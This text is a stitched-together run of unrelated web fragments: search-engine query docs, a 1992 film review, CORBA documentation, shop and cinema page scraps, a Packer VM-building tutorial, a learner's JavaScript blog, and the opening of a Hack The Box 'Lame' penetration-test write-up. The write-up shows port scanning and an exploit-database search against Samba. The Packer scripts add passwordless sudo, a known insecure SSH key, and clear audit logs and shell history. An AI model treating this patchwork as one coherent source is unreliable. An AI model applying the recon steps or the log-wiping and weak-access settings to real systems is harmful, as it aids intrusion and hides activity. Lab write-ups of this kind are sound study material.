- #1(trevor strohman).person(header) -- builds a language model from all of the "header" text in the document and evaluates #1(trevor strohman).person in that context (matches only the exact phrase appearing within a person extent within the header context)
COMBINING BELIEFS
Belief operators allow you to combine beliefs (scores) about terms, phrases, etc. There are both unweighted and weighted belief operators. With the weighted operators, you can assign varying weights to certain expressions. This allows you to control how much of an impact each expression within your query has on the final score.Belief operators:
- #combine
- #weight
- #not
- #max
- #or
- #band (boolean and)
- #wsum
- #wand (weighted and)
- #combine( <dog canine> training )
- #combine( #1(white house) <#1(president bush) #1(george bush)> )
- #weight( 1.0 #1(white house) 2.0 #1(easter egg hunt) )
Extent / Passage retrieval:
- #beliefop[field]( query ) -- evaluates #beliefop( query ) for all extents of type "field" in the document and returns a score for each. The language model used to evaluate the query is formed from the text of the extent.
- #beliefop[passageWIDTH:INC]( query ) -- evaluates #beliefop( query ) for every fixed length passage of length WIDTH terms. The passage window is slid over the text in increments of INC terms. The language model used to evaluate the query is formed from the text within the current passage.
- #combine[sentence]( #1(napolean died in #any:DATE ) ) -- returns a scored list of sentence extents that match the given query
- #combine[passage100:50]( #1(napolean died in #any:DATE ) ) -- returns a scored list of passages (of length 100) that match the given query.
Accessing children, parent and ancestor extents / passages
Beginning with the Lemur Toolkit version 4.3.2 and Indri version 2.3.2, it is possible to reference parent and ancestor extents. The outer field stands in relation to the inner field in each of the expressions.
- use the .\field operator to access a child reference, eg #combine[child](#combine[.\parent](query))
- use the ./field operator to access a parent reference, eg #combine[parent](#combine./child(query))
- use the .//field operator to access an ancestor reference, eg #combine[ancestor](#combine.//descendant(query))
#combine[section]( bootstrap #combine[ ./title ]( methodology ) ) -- rank sections matching bootstrap where the section's title also matches methodology
Note: if child, parent, or ancestor queries are slow, you may want to be certain to index the specified fields explicitly as an ordinal. This speeds things up at the cost of a minimal amount of disk space. In the example above ("title"), the following would be placed in the build index parameters:
<field> <name>title</name> <ordinal>true</ordinal> </field>
FILTER OPERATORS
Filter operators allow you to score only a subset of an entire collection by filtering out those documents that actually get scored.Filter operators:
- #filreq -- filter require
- #filrej -- filter reject
- #filreq( sheep #combine(dolly cloning) ) -- only consider those documents matching the query "sheep" and rank them according to the query #combine(dolly cloning)
- #filrej( parton #combine(dolly cloning) ) -- only consider those documents NOT matching the query "parton" and rank them according to the query #combine(dolly cloning)
NUMERIC / DATE FIELD OPERATORS
Numeric and date field operators provide a number of facilities for matching different criteria. These operators are very useful when used in combination with the filter operators.General numeric operators:
- #less( F N ) -- matches numeric field extents of type F if value < N
- #greater( F N ) -- matches numeric field extents of type F if value > N
- #between( F N_low N_high ) -- matches numeric field extents of type F if N_low <= value <= N_high
- #equals( F N ) -- matches numeric field extents of type F if value == N
Date operators:
- #dateafter( D ) -- matches numeric "date" extents if date is after D
- #datebefore( D ) -- matches numeric "date" extents if date is before D
- #datebetween( D_low, D_high ) -- matches numeric "date" extents if D_low <= date <= D_high
- #dateequals( D ) -- matches numeric "date" extents if date == D
- January 11 2004
- 11 january 2004
- 11-JAN-2004
- 11-01-2004 (DD-MM-YYYY)
- 01/11/2004 (MM/DD/YYYY)
Note that in the first three forms, the month name can be an abbreviation.
Examples:
- #filreq(#less(READINGLEVEL 10) george washington) -- if each document in a collection contained a numeric tag that specified the reading level of the document, then this query will only retrieve documents that have a reading level below grade 10 and documents will be ranked according to the query "george washington".
- #filreq( #date:between( 01/01/1800, 12/31/1899 ) #combine( european history ) ) -- such a query may be constructed to find information about 19th century european history, as this query will find pages that discuss "european history" and contain 19th century dates.
DOCUMENT PRIORS
Document priors allow you impose a "prior probability" over the documents in a collection.Prior
- #prior( NAME ) -- creates the document prior specified by the name given
- #combine(#prior(RECENT) global warming) -- we might create a prior named RECENT to be used to give greater weight to documents that were published more recently.
APPLICATIONS
Here we list suggested uses of the language for several common information retrieval tasks.Ad Hoc Retrieval (Query Likelihood)
Ad hoc retrieval is the standard information retrieval task of finding documents that are topically relevant to a given information need (query). One common probabilistic approach to ad hoc retrieval is the query likelihood retrieval paradigm from language modeling. It is very simple to construct an Indri query that ranks documents the same as query likelihood. For the query, "literacy rates africa", we construct the following Indri query:#combine( literacy rates africa )
This returns a ranked list that is exactly equivalent to the query likelihood ranking (under the given smoothing conditions).
Pseudo-Relevance Feedback / Query Expansion
Both pseudo-relevance feedback and query expansion methods typically begin with some intial query, do some processing, and then return a list of expansion terms. The original query is then augmented with the expansion terms and rerun. Indri's pseudo-relevance feedback mechanism is an adaptation of Lavrenko's relevance models.The following is a basic summary of the process:
- Retrieve documents using original query, which results in a ranked list ordered by P( I | D )
- Compute relevance model, P(r | I), over representation concepts (features) using top fbDocs documents from original ranked list
- Sort representation concepts by P(r | I) and keep top fbTerms
- Construct query Q_RM as:
#weight( P(r_1 | I) r_1 ... P(r_fbTerms | I ) r_fbTerms )
- Construct expanded query as:
#weight( fbOrigWeight Q 1-fbOrigWeight Q_RM )
- Retrieve documents based on expanded query
Named Page Finding / Homepage Finding
Named page finding and homepage finding are examples of known-item search. That is, the user knows some page exists, and is attempting to find it. One popular approach to known-item search is to use a mixture of context language models. This can easily be expressed in the Indri query language. For example, for the query "bbc news", the following query would be constructed:#combine( #wsum( 5.0 bbc.(title) 3.0 bbc.(anchor) 1.0 bbc ) #wsum( 5.0 news.(title) 3.0 news.(anchor) 1.0 news ) )
For each term in the query, the #wsum operator constructs a mixture model from the title, anchor, and whole document context language models and weights each model appropriately. The scores for the two terms are then #combined together.
Written by: Don Metzler
Last updated: Thu Mar 22 09:30:50 EDT 2007


Asynchronous methods and transitions
All API methods are asynchronous and start a transition. They return to the caller as soon as the transition is started but before it ends. In addition, a method call on a transitioning component will be ignored.
Main
Usefull links
All API methods are asynchronous and start a transition. They return to the caller as soon as the transition is started but before it ends. In addition, a method call on a transitioning component will be ignored.


You do not have any items in your cart. Would you like to shop for some?
You are checking out as a guest
If you would like to create an account Sign Up
Or if you already have an account Login
Hi {{user.firstName}}
This is your cart
First Name
Last Name
Address
Address (continued)
City
State
Zip Code
E-mail Address
Telephone Number (optional)
Card Number
CVC
Expiration
Your information is not valid. Please fill in all required fields


UNDER SIEGE (1992)
A film review by Steve Kong Copyright 1997 Steve Kong
Steven Seagal is not known for making good movies. And I admit I don't like him very much. But, most of the time I find myself watching his movies. I think it's out of the hope that one day he'll be able to make a good enjoyable action movie. After I saw Under Siege, I have just about stopped meandering into his movies, why? Because this is the Steven Seagal movie that I like and think is good and enjoyable.
Under Siege is a typical high-concept film. The concept: one man, trapped in an enclosed area taken hostage by bad guys who don't know he's there. The "Die Hard Concept". In Die Hard it was Willis' John McClane in a building, in Under Siege it's Seagal's Casey Ryback in a boat. Casey Ryback is a cook aboard a battleship. During a party for the captain a group of over-the-top bad guys lead by Tommy Lee Jones take the ship over. The one person that the villains didn't expect to stop their evil plan? Yes, the cook. Seagal's Ryback is a one man fighting machine able to take out a whole group of heavily trained killers. The story is simple, a group of terrorist wants weapons and the battleship has them. Jones leads the terrorist to get the weapons.
Yes, the plot is understandably absurd, but it works and director Andrew Davis (The Fugitive) finds some inventive ways of making the film work. He puts enough action in the film to keep the audience from thinking, adds to this some cool gadgets and some incredible shots of the ship and wraps this all together with the great performances of Jones and Seagal (something I thought I'd never find myself saying, Seagal? Good performance?)
Seagal's characters never seem to get hurt, but in Under Siege that changes, he actually bleeds. There is blood running through this character. And though Seagal does a good job with his role, Tommy Lee Jones is the one to look for in this film. His over-the-top performance as the villain is great. The one character that I don't quite understand why they added was Erika Eleniak's Playmate Jordan Tate. The only reason I see for this is for a scene of gratuitous nudity and for her to, for some scenes, play the damsel-in-distress.
There are certain films from action stars you hate that stand out, for Van Damme it was Hard Target, for Seagal it's Under Siege. This is a well directed and well put together movie. It has some excellent action sequences and a good insane villain. This is the only film with Seagal as a lead that I can really say, Don't Miss this film.
!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=! steve kong<EMAIL_ADDRESS>find the latest movie reviews at the hard boiled movie page http://boiled.sbay.org/boiled/ !=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


2 Introduction to Orber
2.1 Overview
The Orber application is a CORBA compliant Object Request Brokers (ORB), which provides CORBA functionality in an Erlang environment. Essentially, the ORB channels communication or transactions between nodes in a heterogeneous environment.
CORBA(Common Object Request Broker Architecture) provides an interface definition language allowing efficient system integration and also supplies standard specifications for some services.
The Orber application contains the following parts:
-
ORB kernel and IIOP support
-
Interface Repository
-
Interface Definition Language Mapping for Erlang
-
CosNaming Service
Benefits
Orber provides CORBA functionality in an Erlang environment that enables:
-
Platform interoperability and transparency
Orber enables communication between OTP applications or Erlang environment applications and other platforms; for example, Windows NT, Solaris etc, allowing platform transparency. This is especially helpful in situations where there are many users with different platforms. For example, booking airline tickets would require the airline database and hundreds of travel agents (who may not have the same platform) to book seats on flights.
-
Application level interoperability and transparency
As Orber is a CORBA compliant application, its purpose is to provide interoperability and transparency on the application level. Orber simplifies the distributed system software by defining the environment as objects, which in effect, views everything as identical regardless of programming languages.
Previously, time-consuming programming was required to facilitate communication between different languages. However, with CORBA compliant Orber the Application Programmer is relieved of this task. This makes communication on an application level relatively transparent to the user.
Purpose and Dependencies
The system architecture and OTP dependencies of Orber are illustrated in figure 1 below:
Orber is dependent on Mnesia (see the Mnesia documentation) - an Erlang database management application used to store object information.
Although Orber does not have a run-time application dependency to IC (an IDLcompiler for Erlang), it is necessary when building services and applications. See the IC documentation for further details.
This simplified illustration in figure 2 demonstrates how Orber can facilitate communication in a heterogeneous environment. The Erlang Nodes running OTP and the other Node running applications written in Java can communicate via an ORB(Object Request Broker). Using Orber means that CORBA functions can be used to achieve this communication.
For example, if one of the above nodes requests an object, it does not need to know if that object is located on the same, or different, Erlang or Java nodes. The ORB will channel the information creating platform and application transparency for the user.
Prerequisites
To fully understand the concepts presented in the documentation, it is recommended that the user is familiar with distributed programming and CORBA (Common Object Request Broker Architecture).
Recommended reading includes Open Telecom Platform Documentation Set and Concurrent Programming in Erlang.


Contact
My Details
For all OPTI questions and problems please use the OPTI Forum. Otherwise feel free to contact me below:
Jonathan Currie (B.E. Hons)
Electrical & Electronic Engineering
AUT University
Auckland, New Zealand
Email<EMAIL_ADDRESS>Industrial Information & Control Centre
I am a research assistant for the Industrial Information & Control Centre (I2C2) at AUT University, New Zealand.
Our research centre is involved in a number of commercial projects for industry both inside and outside New Zealand, and is available for consulting on topics ranging from chemical process modelling, advanced process control, to software design & asset management. We also run industry training courses, so don't hesitate to contact the centre director for any enquiries:
Associate Professor David I Wilson
Director of the Industrial Information and Control Centre
The School of Engineering
Auckland University of Technology
Private Bag 92006
Auckland 1142
New Zealand
Tel: +64-9-921-9999 x 8732
Email<EMAIL_ADDRESS>Copyright © 2011-2013 Jonathan Currie (I2C2)


All topics
All topics
Community News
El Sentinel
Growth / Business
Interactives / Data
Investigations
Jewish Journal
Lifestyle / Entertainment
Local News
Opinion
Magazines
Photo / Video
Politics
Print Desk
South Florida Parenting
Sports
Topic
Employee Name
Job Title
Beat
Email
Phone


Explore the average price by quadrant.
Click on the labels in the legend below to exclude them from the chart.
Average Room Price by Room Type
Average Room Price by Neighborhood: North Portland
Average Room Price by Neighborhood: Northwest
Average Room Price by Neighborhood: Northeast
Average Room Price by Neighborhood: Southwest
Average Room Price by Neighborhood: Southeast


North
Kino
NOW PLAYING
THEATERS
CONTACT
shopping_cart
0
keyboard_arrow_left
keyboard_arrow_right
Current movies
A Bad Moms
Christmas
Adventure
Comedy
event
03/11/2017
watch_later
1h 44m
room
Rovaniemi
Coco
Comedy
Family
event
22/10/2017
watch_later
1h 49m
room
Turku
It
Horror
Thriller
event
05/09/2017
watch_later
2h 15m
room
Helsinki, Tampere, Oulu
Valerian and the City
of Thousand Planets
Adventure
Fantasy
event
21/07/2017
watch_later
2h 17m
room
Helsinki, Tampere, Oulu
3D-ready
Spider-Man:
Homecoming
Action
Sci-Fi
event
07/07/2017
watch_later
2h 13m
room
Tampere
Guardians of the
Galaxy Vol.2
Action
Sci-Fi
event
05/05/2017
watch_later
2h 17m
room
Helsinki
3D-ready
The Circle
Action
Sci-Fi
event
28/04/2017
watch_later
1h 50m
room
Turku, Rovaniemi
The Beauty and
the Beast
Fantasy
Romance
event
17/03/2017
watch_later
2h 9m
room
Turku, Oulu, Rovaniemi
3D-ready
keyboard_arrow_left
keyboard_arrow_right
Coming soon
Just Getting Started
Action
Comedy
event
08/12/2017
watch_later
1h 31m
NEXT WEEK
Downsizing
Comedy
Sci-Fi
event
22/12/2017
watch_later
2h 20m
THIS MONTH
Fifty Shades Freed
Romance
Thriller
event
09/02/2018
watch_later
1h 41m
EARLY 2018
Avengers: Infinity War
Action
Sci-Fi
event
04/05/2018
watch_later
-
SPRING 2018
3D-ready
Untitled Deadpool
Sequel
Action
Comedy
event
01/06/2018
watch_later
-
SPRING 2018
keyboard_arrow_left
keyboard_arrow_right
Places to watch
Helsinki
room
Kaisaniemenkatu 2
access_time
24/7
Turku
room
Kauppiaskatu 11
access_time
10:00am - 01:00am
Tampere
room
Hatanpään valtatie 1
access_time
10:00am - 01:00am
Oulu
room
Torikatu 32
access_time
11:00am - 12:00am
Rovaniemi
room
Urheilukatu 1
access_time
11:00am - 12:00am


--- prev_page: '/recipes/recipes_interactive_questions.html' next_page: '/examples/examples_empirical_distributions.html' --- {% raw %}
# HIDDEN
# Clear previously defined variables
%reset -f
This section contains fleshed out example explanations that make use of
nbinteract
. Many of these examples were originally static pages taken from
UC Berkeley's Data 8 textbook augmented with interactivity.


* Name (required)
Email (Optional, not published)
Website (Optional)
* Your Message (required) 2~500s


I am always trying to get out of my comfort zone and learning new technologies.
Below is a list of technologies I have learnt along my Software Development journey so far.


Before we get started I would like to mentioned that many of the configuration files I am using have been influenced by or directly copied from the following github repositories:
These public repositories by Fabio and Nan have been extremely helpful in my own understanding of how Packer works.
Well...enough talking, let's get started...
1. Start off by connecting by SSH to CentOS virtual machine we created in the previous post.
2. Create a new folder for our packer-templates and run "git init" to start tracking changes.
3. Create directory structure for the .iso files, scripts and templates we will be using with Packer.
4. Download the CentOS 6.7 minimal .iso and place it in the packer-templates/iso/ folder
Open http://isoredirect.centos.org/centos/6/isos/x86_64/ in a browser and pick a mirror to download the .iso from. Copy the URL to the CentOS-6.7-x86_64-minimal.iso image file and use wget to pull the image down in the CentOS virtual machine
5. Compare the sha1sum of the downloaded CentOS-6.7-x86_64-minimal.iso file to what is listed on the CentOS mirror.
Open the sha1sum.txt file from the CentOS mirror you chose in your browser. It should show the following:
Compare the sha1sum from above to the actual sha1sum of the downloaded .iso
The two hashes match so we know the file was downloaded without any corruption.
I have had issues with the VMware issued vmtools, specifically around CentOS 7 and trying to get hgfs (host guest file system) functional on Fusion. During that troubleshooting I discovered the patched vmware tools listed above and found installing those, rather than the VMware issue vmtools installer, resolved my issues.
7. Create a packer .json file in the template/ folder for our image
Create the following file in the packer-templates/templates/ directory. The centos67.json file contains the instructions Packer will use to install the CentOS 6.7 image.
This section contains builder specific instruction. We are using the vmware-iso builder so much of this is describing how we want to VMware backed virtual machine configured.
You might notice something a little different about remote_host, remote_datastore, remote_username, remote_password and ethernet0.networkName parameters. These parameters contain information about the ESXi host we are using to create the Packer image, so rather than hard coding this info into each and every template these values can be pulled from user defined variables.
The benefit of separating "data from code" is two fold. First, this prevents sensitive datacenter specific information from being included in our template, which could end up in github or some other git repository. Secondly, we only need to update one location if the password of our remote_host ever needs to be changed.
the provisioners block
This section contains instruction on what to do after the OS is successfully installed packer. You can use "file" provisioners to copy files into the Packer built OS, as well as "shell" provisioners to run scripts to perform additional configuration. You will get a closer look at "shell" provisioner scripts shortly
8. Create the script/ files that Packer will use to install the CentOS 6.7 image
The following files are referenced in the centos67.json template and need to be created in the packer-templates/scripts/ folder
scripts/centos-6-kickstart.cfg - this is the CentOS 6 kickstart file that describes how CentOS 6 should be installed
scripts/centos-vagrant-settings.sh - this is a bash script that describes how vagrant speciffied settings should be configured
[root@packer-centos packer-templates]# cat scripts/centos-vagrant-settings.sh
#!/bin/bash -eux
# Vagrant specific
date > /etc/vagrant_box_build_time
VAGRANT_USER=vagrant
VAGRANT_HOME=/home/$VAGRANT_USER
VAGRANT_KEY_URL=https://raw.github.com/mitchellh/vagrant/master/keys/vagrant.pub
# Add vagrant user (if it doesn't already exist)
if ! id -u $VAGRANT_USER >/dev/null 2>&1; then
/usr/sbin/groupadd $VAGRANT_USER
/usr/sbin/useradd $VAGRANT_USER -g $VAGRANT_USER -G wheel
echo "${VAGRANT_USER}"|passwd --stdin $VAGRANT_USER
echo "${VAGRANT_USER} ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
fi
# Installing vagrant keys
mkdir -pm 700 $VAGRANT_HOME/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6NF8iallvQVp22WDkTkyrtvp9eWW6A8YVr+kz4TjGYe7gHzIw+niNltGEFHzD8+v1I2YJ6oXevct1YeS0o9HZyN1Q9qgCgzUFtdOKLv6IedplqoPkcmF0aYet2PkEDo3MlTBckFXPITAMzF8dJSIFo9D8HfdOV0IAdx4O7PtixWKn5y2hMNG0zQPyUecp4pzC6kivAIhyfHilFR61RGL+GPXQ2MWZWFYbAGjyiYJnAmCP3NOTd0jMZEnDkbUvxhMmBYSdETk1rRgm+R4LOzFUGaHqHDLKLX+FIPKcF96hrucXzcWyLbIbEgE98OHlnVYCzRdK8jlqm8tehUc9c9WhQ== vagrant insecure public key" >> $VAGRANT_HOME/.ssh/authorized_keys
chmod 0600 $VAGRANT_HOME/.ssh/authorized_keys
chown -R $VAGRANT_USER:$VAGRANT_USER $VAGRANT_HOME/.ssh
[root@packer-centos packer-templates]#
scripts/centos-vmware-tools_install.sh - this is a bash script that describes how vmtools should be installed
[root@packer-centos packer-templates]# cat scripts/centos-vmware-tools_install.sh
#!/bin/bash
sudo yum upgrade ca-certificates -y
sudo yum install perl fuse-libs -y
sudo mkdir /mnt/cdrom
sudo mount -o loop /tmp/vmware-tools-linux.iso /mnt/cdrom
sudo cp /mnt/cdrom/VMwareTools*.tar.gz /tmp/
cd /tmp
tar xfz VMwareTools*.tar.gz
cd /tmp/vmware-tools-distrib
ls -la
# from http://www.virtuallyghetto.com/2015/06/automating-silent-installation-of-vmware-tools-on-linux-wautomatic-kernel-modules.html
# If you wish to change which Kernel modules get installed
# The last four entries (yes,no,no,no) map to the following:
# VMware Host-Guest Filesystem
# vmblock enables dragging or copying files
# VMware automatic kernel modules
# Guest Authentication
# and you can also change the other params as well
sudo cat > /tmp/answer << __ANSWER__
yes
/usr/bin
/etc
/etc/init.d
/usr/sbin
/usr/lib/vmware-tools
yes
/usr/share/doc/vmware-tools
yes
yes
yes
no
yes
no
__ANSWER__
sudo /tmp/vmware-tools-distrib/vmware-install.pl < /tmp/answer
sudo umount /mnt/cdrom
cd /tmp
rm -rf vmware-tools-distrib
rm -f VMwareTools*.tar.gz
rm /tmp/vmware-tools-linux.iso
[root@packer-centos packer-templates]#
scripts/centos-vmware-cleanup.sh - a bash script that cleans up the Packer image prior to being exported
[root@packer-centos packer-templates]# cat scripts/centos-vmware-cleanup.sh
#!/bin/bash -eux
# Based off the great "Preparing Linux Template VMs"
# (http://lonesysadmin.net/2013/03/26/preparing-linux-template-vms/) article
# by Bob Plankers, thanks Bob!
CLEANUP_PAUSE=${CLEANUP_PAUSE:-0}
echo "==> Pausing for ${CLEANUP_PAUSE} seconds..."
sleep ${CLEANUP_PAUSE}
echo "==> erasing unused packages to free up space"
/usr/bin/yum -y erase gtk2 libX11 hicolor-icon-theme avahi freetype bitstream-vera-fonts
echo "==> Cleaning up yum cache"
/usr/bin/yum clean all
echo "==> Force logs to rotate"
/usr/sbin/logrotate -f /etc/logrotate.conf
/bin/rm -f /var/log/*-???????? /var/log/*.gz
echo "==> Clear audit log and wtmp"
/bin/cat /dev/null > /var/log/audit/audit.log
/bin/cat /dev/null > /var/log/wtmp
echo "==> Cleaning up udev rules"
/bin/rm -f /etc/udev/rules.d/70*
echo "==> Remove the traces of the template MAC address and UUIDs"
/bin/sed -i '/^\(HWADDR\|UUID\)=/d' /etc/sysconfig/network-scripts/ifcfg-eth0
echo "==> Cleaning up tmp"
/bin/rm -rf /tmp/*
/bin/rm -rf /var/tmp/*
echo "==> Remove the SSH host keys"
/bin/rm -f /etc/ssh/*key*
echo "==> Remove the root user’s shell history"
/bin/rm -f ~root/.bash_history
unset HISTFILE
echo "==> yum -y clean all"
yum -y clean all
# Determine the version of RHEL
COND=`grep -i Taroon /etc/redhat-release`
if [ "$COND" = "" ]; then
export PREFIX="/usr/sbin"
else
export PREFIX="/sbin"
fi
FileSystem=`grep ext /etc/mtab| awk -F" " '{ print $2 }'`
for i in $FileSystem
do
echo $i
number=`df -B 512 $i | awk -F" " '{print $3}' | grep -v Used`
echo $number
percent=$(echo "scale=0; $number * 98 / 100" | bc )
echo $percent
dd count=`echo $percent` if=/dev/zero of=`echo $i`/zf
/bin/sync
sleep 15
rm -f $i/zf
done
VolumeGroup=`$PREFIX/vgdisplay | grep Name | awk -F" " '{ print $3 }'`
for j in $VolumeGroup
do
echo $j
$PREFIX/lvcreate -l `$PREFIX/vgdisplay $j | grep Free | awk -F" " '{ print $5 }'` -n zero $j
if [ -a /dev/$j/zero ]; then
cat /dev/zero > /dev/$j/zero
/bin/sync
sleep 15
$PREFIX/lvremove -f /dev/$j/zero
fi
done
echo "==> Zero out the free space to save space in the final image"
dd if=/dev/zero of=/EMPTY bs=1M
rm -f /EMPTY
# Make sure we wait until all the data is written to disk, otherwise
# Packer might quit too early before the large files are deleted
sync
[root@packer-centos packer-templates]#
9. Create packer-remote-info.json file that contains info on our ESXi virtual machine
Create the following file that will contain the ESXi virtual machine specific information used by Packer. We will also add this file to .gitignore in a future step, to ensure this information does not get stored in a git repository.
10. Use yum to install the tree command so we can visualize the packer-templates directory structure
The tree command is helpful by allowing you to display the files and folders from a specific point in the file system. We will install this now to assist in showing the directory structure of the packer-templates directory.
Run the tree command to see the directory structure:
11. Create .gitignore file that contains everything we don't have to stored in git
Any files or folders listed in the .gitignore will be ignored by git. We will be adding the packer-remote-info.json file, since it contains username and password information, and the iso/ directory, since we don't want to upload the large .iso files to our git repository.
12. Push the changes we have made to a github repository
I created a public github repository for storing all the files created during this Packer series. During this step I will be pushing the current state of the files to the "first-packer-template" branch of this github repository:
13. packer build the template we created
Now that we have all the necessary .iso files downloaded and template/script files created, we can test our build. In order to use the values in the packer-remote-info.json file, we will use the -var-file parameter to specify this file.
At this point you should see a centos67 virtual machine in the embedded host client of the ESXi virtual machine.
If you open the console of the centos67 virtual machine, you can watch the automated install as it progresses.
Once the CentOS 6.7 install completes and the virtual machine reboots, you will see the packer build output continue with the provisioners block of the Packer template.
The first provisioner is the file provisioner that will copy iso/vmware-tools-linux.iso to /tmp/vmware-tools-linux.iso within the CentOS 6.7 virtual machine.
The second provisioner is a shell provisioner that will run the scripts/centos-vagrant-settings.sh bash script. This script will added the necessary changes for this Packer image to be used by Vagrant.
The third provisioner is a shell provisioner that will run the scripts/centos-vmware-tools_install.sh bash script. This script will install all the needed dependencies for vmtools and then install vmtools using an answer file.
The final provisioner is a shell provisioner that will run the scripts/centos-vmware-cleanup.sh bash script. This script will clean up the centos67 virtual machine and zero out all unused disk space to reduce the size of the image.
With the provisioners block having been completed, Packer will now shutdown the centos67 virtual machine and unregister it from the ESXi virtual machine.
The output of the packer build command shows that the template was successfully created at /vmfs/volumes/datastore1/output-centos67 on the ESXi virtual machine.
This seems like a good point to take break. We covered a lot of ground in this post, but as a result of all our work we have a working Packer template to build on.
If you would like to not have to manually create the files covered in this post, you can clone down this github repository by running the following command:


rotten > Library > Biographies > Crime > Spree Killers > Charles Starkweather
Charles Starkweather
This "Rebel Without a Clue" commenced a murder spree that was
unparalleled for more than three decades. You may have heard of
him in such films as Natural Born Killers or Badlands,
though perhaps killing was the only thing Starkweather excelled at.
His boss: "Sometimes you'd have to tell him something two or
three times. Of all the employees in the warehouse, he was the
dumbest man we had."
Pornopolis |
Rotten |
Faces of Death |
Famous Nudes
|


🔥 Urgently Searching
🎯 Recruiting
🔧 Handymen/Freelancers
🔑 Odd Jobs
📡 World Section
📞 Contact
Silo Jobs
A Crapfree and Curated Listing
simply designed to help people. send a mail to arj dot message at gmail dot com to list.


Getting blocked on simple problems is pretty much a theme at this point in my programming career. One of the issues I struggled with in this week's Javascript assignment was how to use a for loop to assign Id's to each item in an array. The issue I had was how to write the expression that would assign the Id and that would change on each iteration. Each time I tried, it would either through an error and the page would not run, or else I would end up with each item getting the same Id, as the assignment statement would not change.
The way I ended up solving the problem was to create another array of Id's, then draw from this array to assign the Id's to each item. There is probably a more elegant way of solving the problem, but I was quietly stoked with this solution, as it had taken a significant ammount of work (googling, etc) to find.
I don't really use pseudocode much at the moment. Its likely something that I'll start using more often in the future though
This is my go-to method. Usually when I have a problem I will go back to the last point at which I has something working, and then use console.log to progressively step through the program, reading any error messages that come out
I often suffer in silence until figuring out whats going on, though maybe this would be a good thing to try
This I do a lot of. Usually when I've gone through my troubleshooting routine of going back to the last point at which I had a working script and using console.log and reading the error messages, I will then take this information to Google and go through Stack Overflow and other sites, as for all the problems I'm encountering at the moment, there is usually something there
As we go forward with the course I can see that asking peers and coaches is going to become a bigger part of my troubleshooting protocol
When I've solved a problem, I find that I will reflect on it at length and try and imagine other situations when the same thing might be effective
.map(): .map() takes a callback function and iterates through an array applying the callback function once to each element. It creates a new array with the results of the callback function.
.filter(): .filter() takes a callback function and iterates through an array applying the callback function once to each element. It creates a new array with the elements of the array that passed the test provided by the callback function.
.reduce(): .reduce() is a bit different, in that it can be used in a vareity of ways. Like the functions mentioned above, it applies a callback function to each element of an array. The return value is an accumulated total, which is then supplied as the argument for the next calback function.


Simple Sensitivity Calculator (with MeerKAT defaults)
Number of antennas
Number of antennas
Diameter
Antenna diameter (m)
Tsys (K)
System temperature
Eta
Antenna efficiency
Integration time (s)
Integration time (seconds)
Bandwidth
Bandwidth (MHz)
Number of polarisations
1
2
Antenna Area
Antenna area (m squared)
Array Area
Antenna area (m squared)
SEFD
System Equivalent Flux Density (Jy)
Antenna Gain
Antenna Gain (Jy/K)
RMS
Naturally weighted RMS (μJy)
Based on an original work: Copyright CSIRO 2014 (Keith Bannister
)


Lame - HTB
Changed HTB Lame original IP address to <IP_ADDRESS>
Enumeration
Nmap
- -p- –> to scan ports from 1 through 65535
- -sV –> Version detection
- -sC –> script scan using the default set of scripts => equivalent to –script=default
- -A –> Aggressive scan options
- –min-rate 1000 –> 1000 packets per second
- –max-retries 5 –> number of times a packet is to be resent on a port to check
- -Pn - skip host discovery
nmap -p- -sV -sC -A -Pn --min-rate 1000 --max-retries 5 <IP_ADDRESS>
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-13 18:14 UTC
Nmap scan report for <IP_ADDRESS>
Host is up (0.15s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to <IP_ADDRESS>
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2h00m37s, deviation: 2h49m46s, median: 34s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2021-06-13T14:17:33-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 184.79 seconds
FTP and Samba looks interesting.
Searchsploit
Searching samba 3.0.20 gives a metasploit script(16320.rb), Lets explore without using metasploit.
searchsploit samba 3.0.20
---------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Securi | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map scr | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
